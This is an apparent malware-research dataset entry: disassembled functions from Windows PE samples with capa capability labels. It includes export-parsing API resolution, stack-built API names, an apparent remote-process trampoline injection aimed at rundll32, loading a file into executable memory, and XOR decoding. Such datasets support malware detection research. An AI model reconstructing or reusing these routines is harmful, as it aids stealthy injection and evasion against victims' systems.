joyce8/EMBER2024-capa huggingface dataset:
Function at 0x330903030
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rax, qword [str.kernel32LoadLibrLocalAllGetProcA_not_found_]
lea rsi, [rsp + 0x20]
mov byte [rsp + 0x2c], 0
mov rcx, rsi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0x6c6c642e
call fcn.3309028b0
mov dword [rsp + 0x28], 0x41797261
mov rbx, rax
mov rax, qword [0x3309e40a8]
mov byte [rsp + 0x2c], 0
mov qword [rsp + 0x20], rax
movsxd rax, dword [rbx + 0x3c]
mov ebp, dword [rbx + rax + 0x88]
test ebp, ebp
je 0x330902fc0
lea r12, [rbx + rbp]
mov edi, dword [r12 + 0x20]
mov r13d, dword [r12 + 0x18]
add rdi, rbx
test r13d, r13d
je 0x330903020
xor r14d, r14d
jmp 0x330902e89
add r14, 1
add rdi, 4
cmp r14, r13
je 0x330903020
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, rbx
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x330902e78
mov edx, dword [r12 + 0x24]
lea rcx, [rbx + r14*2]
mov eax, dword [r12 + 0x1c]
movzx edx, word [rcx + rdx]
lea rdx, [rbx + rdx*4]
mov eax, dword [rdx + rax]
add rax, rbx
mov qword [0x330a15050], rax
lea r12, [rbx + rbp]
xor r14d, r14d
mov rax, qword [0x3309e40b8]
mov byte [rsp + 0x2e], 0
mov qword [rsp + 0x20], rax
mov eax, 0x7373
mov dword [rsp + 0x28], 0x65726464
mov word [rsp + 0x2c], ax
mov edi, dword [r12 + 0x20]
mov r13d, dword [r12 + 0x18]
add rdi, rbx
test r13d, r13d
jne 0x330902f11
jmp 0x330903010
add r14, 1
add rdi, 4
cmp r13, r14
je 0x330903010
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, rbx
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x330902f00
mov edx, dword [r12 + 0x24]
lea rcx, [rbx + r14*2]
mov eax, dword [r12 + 0x1c]
movzx edx, word [rcx + rdx]
lea rdx, [rbx + rdx*4]
mov eax, dword [rdx + rax]
add rax, rbx
add rbp, rbx
mov edx, 0x636f
mov byte [rsp + 0x2a], 0
xor r12d, r12d
mov qword [0x330a15058], rax
mov rax, qword [0x3309e40b0]
mov word [rsp + 0x28], dx
mov qword [rsp + 0x20], rax
mov edi, dword [rbp + 0x20]
mov r13d, dword [rbp + 0x18]
add rdi, rbx
test r13d, r13d
jne 0x330902f8d
jmp 0x330902fd6
add r12, 1
add rdi, 4
cmp r13, r12
je 0x330902fd6
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, rbx
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x330902f80
mov edx, dword [rbp + 0x24]
lea rcx, [rbx + r12*2]
mov eax, dword [rbp + 0x1c]
movzx edx, word [rcx + rdx]
lea rdx, [rbx + rdx*4]
mov eax, dword [rdx + rax]
add rbx, rax
jmp 0x330902fd8
mov qword [0x330a15050], 0
mov qword [0x330a15058], 0
xor ebx, ebx
mov ecx, 0x4098
mov qword [0x330a15048], rbx
call fcn.330902d50
test rax, rax
mov qword [0x330a15040], rax
setne al
movzx eax, al
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
xor eax, eax
jmp 0x330902f3e
xor eax, eax
jmp 0x330902eb6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
jmp 0x330902df0
Function at 0x330906060
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rdi
push rsi
push rbx
mov rax, rcx
lea rcx, [rcx + 0xf]
sub rcx, rdx
cmp rcx, 0x1e
jbe 0x330906144
movdqu xmm1, xmmword [rdx]
movups xmmword [rax], xmm1
movdqu xmm0, xmmword [rdx + 0x10]
movups xmmword [rax + 0x10], xmm0
movzx edi, byte [rax + 0x1f]
movzx r9d, byte [rax + 0x1e]
mov r10d, 8
lea r11, [0x3309e4380]
movzx r8d, byte [rax + 0x1d]
movzx edx, byte [rax + 0x1c]
lea rbx, [0x3309e4260]
jmp 0x330906109
movzx r8d, r8b
movzx edx, dl
movzx ecx, byte [r11 + r8]
movzx r8d, r9b
movzx r9d, dil
movzx edi, byte [r11 + rdx]
mov edx, r10d
movzx r8d, byte [r11 + r8]
movzx r9d, byte [r11 + r9]
shr edx, 3
xor cl, byte [rbx + rdx]
mov edx, ecx
xor dl, byte [rax]
xor r8b, byte [rax + 1]
add r10d, 1
add rax, 4
xor r9b, byte [rax - 2]
xor dil, byte [rax - 1]
mov byte [rax + 0x1c], dl
mov byte [rax + 0x1d], r8b
mov byte [rax + 0x1e], r9b
mov byte [rax + 0x1f], dil
cmp r10d, 0x3c
je 0x330906140
mov ecx, r10d
and ecx, 7
je 0x3309060b0
cmp ecx, 4
jne 0x3309060de
movzx edx, dl
movzx r8d, r8b
movzx esi, r9b
movzx ecx, dil
movzx edx, byte [r11 + rdx]
movzx r8d, byte [r11 + r8]
movzx r9d, byte [r11 + rsi]
movzx edi, byte [r11 + rcx]
jmp 0x3309060de
pop rbx
pop rsi
pop rdi
ret
movzx ecx, byte [rdx]
mov byte [rax], cl
movzx ecx, byte [rdx + 1]
mov byte [rax + 1], cl
movzx ecx, byte [rdx + 2]
mov byte [rax + 2], cl
movzx ecx, byte [rdx + 3]
mov byte [rax + 3], cl
movzx ecx, byte [rdx + 4]
mov byte [rax + 4], cl
movzx ecx, byte [rdx + 5]
mov byte [rax + 5], cl
movzx ecx, byte [rdx + 6]
mov byte [rax + 6], cl
movzx ecx, byte [rdx + 7]
mov byte [rax + 7], cl
movzx ecx, byte [rdx + 8]
mov byte [rax + 8], cl
movzx ecx, byte [rdx + 9]
mov byte [rax + 9], cl
movzx ecx, byte [rdx + 0xa]
mov byte [rax + 0xa], cl
movzx ecx, byte [rdx + 0xb]
mov byte [rax + 0xb], cl
movzx ecx, byte [rdx + 0xc]
mov byte [rax + 0xc], cl
movzx ecx, byte [rdx + 0xd]
mov byte [rax + 0xd], cl
movzx ecx, byte [rdx + 0xe]
mov byte [rax + 0xe], cl
movzx ecx, byte [rdx + 0xf]
mov byte [rax + 0xf], cl
movzx ecx, byte [rdx + 0x10]
mov byte [rax + 0x10], cl
movzx ecx, byte [rdx + 0x11]
mov byte [rax + 0x11], cl
movzx ecx, byte [rdx + 0x12]
mov byte [rax + 0x12], cl
movzx ecx, byte [rdx + 0x13]
mov byte [rax + 0x13], cl
movzx ecx, byte [rdx + 0x14]
mov byte [rax + 0x14], cl
movzx ecx, byte [rdx + 0x15]
mov byte [rax + 0x15], cl
movzx ecx, byte [rdx + 0x16]
mov byte [rax + 0x16], cl
movzx ecx, byte [rdx + 0x17]
mov byte [rax + 0x17], cl
movzx ecx, byte [rdx + 0x18]
mov byte [rax + 0x18], cl
movzx ecx, byte [rdx + 0x19]
mov byte [rax + 0x19], cl
movzx ecx, byte [rdx + 0x1a]
mov byte [rax + 0x1a], cl
movzx ecx, byte [rdx + 0x1b]
mov byte [rax + 0x1b], cl
movzx ecx, byte [rdx + 0x1c]
mov byte [rax + 0x1c], cl
movzx ecx, byte [rdx + 0x1d]
mov byte [rax + 0x1d], cl
movzx ecx, byte [rdx + 0x1e]
mov byte [rax + 0x1e], cl
movzx edx, byte [rdx + 0x1f]
mov byte [rax + 0x1f], dl
jmp 0x330906087
Function at 0x3309113e0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, ecx
mov r9, rdx
not eax
cmp r8, 3
jbe 0x3309114b0
lea rdx, [r8 - 4]
lea r10, [0x3309e4ca0]
shr rdx, 2
lea rcx, [r9 + rdx*4 + 4]
nop dword [rax]
mov edx, eax
xor al, byte [r9]
add r9, 4
movzx eax, al
shr edx, 8
xor edx, dword [r10 + rax*4]
mov eax, edx
xor dl, byte [r9 - 3]
movzx edx, dl
shr eax, 8
xor eax, dword [r10 + rdx*4]
mov edx, eax
xor al, byte [r9 - 2]
movzx eax, al
shr edx, 8
xor edx, dword [r10 + rax*4]
mov eax, edx
xor dl, byte [r9 - 1]
movzx edx, dl
shr eax, 8
xor eax, dword [r10 + rdx*4]
cmp r9, rcx
jne 0x330911408
and r8d, 3
test r8, r8
je 0x3309114a4
mov r9d, eax
xor al, byte [rcx]
lea rdx, [0x3309e4ca0]
movzx eax, al
shr r9d, 8
xor r9d, dword [rdx + rax*4]
mov eax, r9d
sub r8, 1
je 0x3309114a4
xor al, byte [rcx + 1]
shr r9d, 8
movzx eax, al
xor r9d, dword [rdx + rax*4]
mov eax, r9d
cmp r8, 1
je 0x3309114a4
xor al, byte [rcx + 2]
mov r8d, r9d
movzx eax, al
shr r8d, 8
xor r8d, dword [rdx + rax*4]
mov eax, r8d
not eax
ret
mov rcx, rdx
jmp 0x330911454
Function at 0x330924c30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rbx
sub rsp, 0x98
mov rbx, r8
lea r12, [rsp + 0x70]
lea r13, [rsp + 0x60]
mov r14, rcx
mov rsi, rdx
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.330903030
mov rdx, r12
mov rcx, r13
mov byte [rsp + 0x7c], 0
mov qword [0x330a15090], rbx
mov rax, qword [0x3309e5e30]
mov rbx, qword [0x3309e5e10]
mov dword [rsp + 0x78], 0x41797261
mov qword [rsp + 0x70], rax
mov byte [rsp + 0x6c], 0
mov qword [rsp + 0x60], rbx
mov dword [rsp + 0x68], 0x6c6c642e
call fcn.330903330
mov rcx, r14
call rax
movdqa xmm0, xmmword [str.GetCurrentProceskernel32]
mov rdx, r12
mov rcx, r13
mov r15, rax
mov eax, 0x73
mov qword [rsp + 0x60], rbx
movaps xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x80], ax
mov dword [rsp + 0x68], 0x6c6c642e
mov byte [rsp + 0x6c], 0
call fcn.330903330
call rax
mov edx, 0x7373
mov rcx, r13
mov byte [rsp + 0x7e], 0
mov r14, rax
mov rax, qword [0x3309e5e38]
mov word [rsp + 0x7c], dx
mov rdx, r12
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x65726464
mov qword [rsp + 0x60], rbx
mov dword [rsp + 0x68], 0x6c6c642e
mov byte [rsp + 0x6c], 0
call fcn.330903330
mov rdx, rsi
mov rcx, r15
lea rsi, [rsp + 0x54]
call rax
mov ecx, 0x79
mov rdx, r12
mov byte [rsp + 0x6c], 0
movdqa xmm0, xmmword [0x3309e5e40]
mov word [rsp + 0x80], cx
mov rcx, r13
mov r15, rax
mov qword [rsp + 0x60], rbx
movaps xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x68], 0x6c6c642e
mov qword [0x330a150a8], rax
call fcn.330903330
lea rdx, [rsp + 0x38]
mov rcx, r14
mov r9d, 0xc
mov qword [rsp + 0x20], rdx
lea r8, [0x330a15098]
mov rdx, r15
call rax
mov r8d, 0xffffb848
mov rdx, r12
mov rcx, rsi
lea rax, [0x330924b40]
mov word [rsp + 0x70], r8w
mov r8d, 2
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x54], 0
mov dword [rsp + 0x5c], 0
mov byte [rsp + 0x72], 0
call fcn.330905e10
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x56]
mov r8d, 8
call fcn.330905e10
mov r9d, 0x50
lea rcx, [rsp + 0x5e]
mov rdx, r12
mov r8d, 1
mov word [rsp + 0x70], r9w
call fcn.330905e10
mov r10d, 0xc3
lea rcx, [rsp + 0x5f]
mov rdx, r12
mov r8d, 1
mov word [rsp + 0x70], r10w
call fcn.330905e10
mov rdx, r12
mov rcx, r13
mov qword [rsp + 0x60], rbx
movdqa xmm0, xmmword [str.WriteProcessMemoLoadLibrGetProcAReadProcessMemorC:WindowsSysWOW64_rundll32.exe]
mov r11d, 0x7972
mov r15, qword [0x330a150a8]
mov byte [rsp + 0x82], 0
mov word [rsp + 0x80], r11w
movaps xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x68], 0x6c6c642e
mov byte [rsp + 0x6c], 0
call fcn.330903330
lea rdx, [rsp + 0x40]
mov r8, rsi
mov rcx, r14
mov qword [rsp + 0x20], rdx
mov r9d, 0xc
mov rdx, r15
call rax
call fcn.330902c90
xor eax, eax
add rsp, 0x98
pop rbx
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x330925680
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x60
mov rbx, qword [0x3309e6150]
mov rax, qword [str.GetFileSkernel32VirtualAReadFileCloseHanCreateFiPathAppeShlwapi.]
lea r15, [rsp + 0x40]
lea r14, [rsp + 0x50]
mov r12, rdx
mov rdi, r8
mov rdx, r15
mov rcx, r14
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x48], 0x657a69
mov byte [rsp + 0x5c], 0
mov qword [rsp + 0x50], rbx
mov dword [rsp + 0x58], 0x6c6c642e
call fcn.330903330
xor edx, edx
mov rcx, r12
call rax
mov rdx, r14
mov rcx, r15
mov byte [rsp + 0x5c], 0
mov esi, eax
mov rax, qword [0x3309e6158]
mov byte [rsp + 0x4c], 0
mov dword [rsp + 0x58], 0x636f6c6c
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x48], 0x6c6c642e
call fcn.330903330
lea edx, [rsi + 1]
mov r9d, 0x40
xor ecx, ecx
mov r8d, 0x3000
call rax
mov rdx, r15
mov rcx, r14
mov byte [rsp + 0x48], 0
mov r13, rax
mov rax, qword [0x3309e6160]
mov byte [rsp + 0x5c], 0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x58], 0x6c6c642e
call fcn.330903330
lea r9, [rsp + 0x3c]
mov r8d, esi
mov rdx, r13
mov qword [rsp + 0x20], 0
mov rcx, r12
call rax
mov rax, qword [0x3309e6168]
mov rdx, r15
mov rcx, r14
mov dword [rsp + 0x48], 0x656c64
mov qword [rsp + 0x40], rax
mov byte [rsp + 0x5c], 0
mov qword [rsp + 0x50], rbx
mov dword [rsp + 0x58], 0x6c6c642e
call fcn.330903330
mov rcx, r12
call rax
mov eax, dword [rsp + 0x3c]
mov qword [rdi], rax
mov rax, r13
add rsp, 0x60
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
ret
push r13
push r12
push rbx
sub rsp, 0x60
mov rax, qword [0x3309e6170]
mov qword [rsp + 0x40], rax
mov r12, rcx
mov r13, rdx
lea rcx, [rsp + 0x50]
mov rax, qword [0x3309e6150]
lea rdx, [rsp + 0x40]
mov rbx, r8
mov dword [rsp + 0x48], 0x41656c
mov byte [rsp + 0x5c], 0
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x6c6c642e
call fcn.330903330
mov rcx, r13
xor r9d, r9d
mov edx, 0x80000000
mov qword [rsp + 0x30], 0
mov r8d, 1
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call rax
mov r8, rbx
mov rcx, r12
mov rdx, rax
add rsp, 0x60
pop rbx
pop r12
pop r13
jmp 0x330925680
Function at 0x3309279b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
movzx r12d, byte [rcx + 0x40]
mov rbx, rcx
test r12b, r12b
je 0x3309279e0
mov eax, r12d
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
ret
mov r15, qword [rcx + 0x48]
movzx edx, word [rcx + 0x50]
mov r8d, 0xa
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov r13, rax
test rax, rax
je 0x330927a78
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r14, rax
test rax, rax
je 0x330927a78
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
je 0x330927a78
mov rdx, r13
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov qword [rbx + 0x38], rsi
movsxd rsi, eax
lea rcx, [rsi + 1]
call sub.msvcrt.dll_malloc
mov r13, rax
test rax, rax
je 0x330927a67
mov r8, rsi
mov rdx, rdi
mov rcx, rax
mov r12d, 1
call sub.msvcrt.dll_memcpy
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov qword [rbx + 0x30], r13
mov byte [rbx + 0x40], r12b
jmp 0x3309279cc
xor r13d, r13d
jmp 0x330927a67
Function at 0x330934ca0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.330942a40
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.330942a40
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x330935612
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x330a151a8]
test eax, eax
je 0x3309356aa
lea rax, [0x330a15180]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x330a151b0]
mov qword [rbp - 8], rax
jmp 0x33093568e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x330935682
cmp qword [rbp - 0x10], 0
je 0x330935682
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x330935648
lea rax, [0x330a15180]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x3309356ab
nop
add rsp, 0x30
pop rbp
ret

Function at 0x3309357b0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x3309357d8
mov eax, 0
jmp 0x330935826
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x330935801
mov eax, 0
jmp 0x330935826
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x330935821
mov eax, 0
jmp 0x330935826
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x33093582c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x3309358aa
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x3309358a1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x3309358a1
mov rax, qword [rbp - 8]
jmp 0x3309358bf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x330935874
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x330944c70
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rsp + 0x20], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x28], rdx
movabs rdx, 0x20726f6620737965
mov qword [rsp + 0x30], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov word [rsp + 0x88], ax
mov byte [rsp + 0x8a], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x330944d82
mov eax, 0x28
lea rcx, [rsp + 0x20]
jmp 0x330944d5a
add rax, 1
cmp rax, 0x6b
je 0x330944d77
cmp byte [rcx + rax], 0
movsxd rdx, eax
jne 0x330944d50
cmp edx, 0x6a
je 0x330944d77
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov eax, 0x28
mov edx, 0x27
lea rcx, [rsp + 0x20]
jmp 0x330944d6b

Function at 0x330945120
Capabilities:
Allocate thread local storage

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x28
lea rsi, [0x330a15d70]
mov rcx, rsi
call fcn.3309449e0
lea r13, [rax + 8]
mov r12, rax
mov rcx, r13
call fcn.3309441f0
mov ebx, dword [0x330a15d70]
test ebx, ebx
jne 0x330945190
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x3309e0338], eax
cmp eax, 0xffffffff
je 0x3309dfde6
mov dword [0x330a15d70], 1
mov rcx, r13
call fcn.330944510
test r12, r12
je 0x3309451c2
mov rcx, r12
add rsp, 0x28
pop rbx
pop rsi
pop r12
pop r13
jmp fcn.330944da0
cmp ebx, 1
je 0x330945171
mov ecx, 2
call qword [fcn.330942a40]
mov r9d, ebx
mov r8, rsi
lea rdx, str._once__p_is__d_n
mov rcx, rax
call fcn.3309449b0
mov rcx, r13
call fcn.330944510
test r12, r12
jne 0x33094517e
add rsp, 0x28
pop rbx
pop rsi
pop r12
pop r13
ret
call sub.msvcrt.dll_abort
nop
Function at 0x3309a4920
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x3309a4947
call rbp
cmp dword [rax], 4
jne 0x3309a4964
mov rcx, rdi
call fcn.3309a4750
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x3309a4940
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x1400014b0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0x72]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r11d, r11d
lea rsi, [0x14000f040]
mov r10, rax
sub rbx, rax
movabs rdi, 0xa2c2a87c51ca04e9
lea r9, [rax + 1]
nop dword [rax + rax]
movsxd r8, r11d
lea r9, [r9 + 2]
mov rax, rdi
mov rcx, r8
mul r8
mov rax, r8
add r11d, 2
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x139
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 1]
xor al, byte [rbx + r9 - 3]
mov byte [r9 - 3], al
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x139
sub rcx, rax
movzx eax, byte [rcx + rsi]
xor al, byte [rbx + r9 - 2]
mov byte [r9 - 2], al
cmp r11d, 0x7a
jb 0x140001500
mov rbx, qword [rsp + 0x30]
mov rax, r10
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1400019f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx - 6]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r11d, r11d
lea rsi, [0x14000f180]
mov r10, rax
sub rbx, rax
movabs rdi, 0xa2c2a87c51ca04e9
lea r9, [rax + 1]
nop dword [rax + rax]
movsxd r8, r11d
lea r9, [r9 + 2]
mov rax, rdi
mov rcx, r8
mul r8
mov rax, r8
add r11d, 2
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x139
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 1]
xor al, byte [rbx + r9 - 3]
mov byte [r9 - 3], al
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x139
sub rcx, rax
movzx eax, byte [rcx + rsi]
xor al, byte [rbx + r9 - 2]
mov byte [r9 - 2], al
cmp r11d, 2
jb 0x140001a40
mov rbx, qword [rsp + 0x30]
mov rax, r10
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1400020e0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 6]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r11d, r11d
lea rsi, [0x14000f400]
mov r10, rax
sub rbx, rax
movabs rdi, 0xa2c2a87c51ca04e9
lea r9, [rax + 2]
nop dword [rax + rax]
movsxd r8, r11d
mov rax, rdi
mul r8
mov rax, r8
mov rcx, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x139
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 1]
xor al, byte [r9 + rbx - 2]
movsx eax, al
mov word [r9 - 2], ax
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x139
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 2]
xor al, byte [r9 + rbx]
movsx eax, al
mov word [r9], ax
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x139
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 3]
xor al, byte [r9 + rbx + 2]
movsx eax, al
mov word [r9 + 2], ax
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x139
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 4]
xor al, byte [r9 + rbx + 4]
movsx eax, al
mov word [r9 + 4], ax
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x139
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 5]
xor al, byte [r9 + rbx + 6]
movsx eax, al
mov word [r9 + 6], ax
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x139
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 6]
xor al, byte [r9 + rbx + 8]
lea r9, [r9 + 0xe]
movsx eax, al
add r11d, 7
mov word [r9 - 6], ax
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x139
sub rcx, rax
movzx eax, byte [rcx + rsi]
xor al, byte [r9 + rbx - 4]
movsx eax, al
mov word [r9 - 4], ax
cmp r11d, 7
jb 0x140002130
mov rbx, qword [rsp + 0x30]
mov rax, r10
mov rsi, qword [rsp + 0x38]
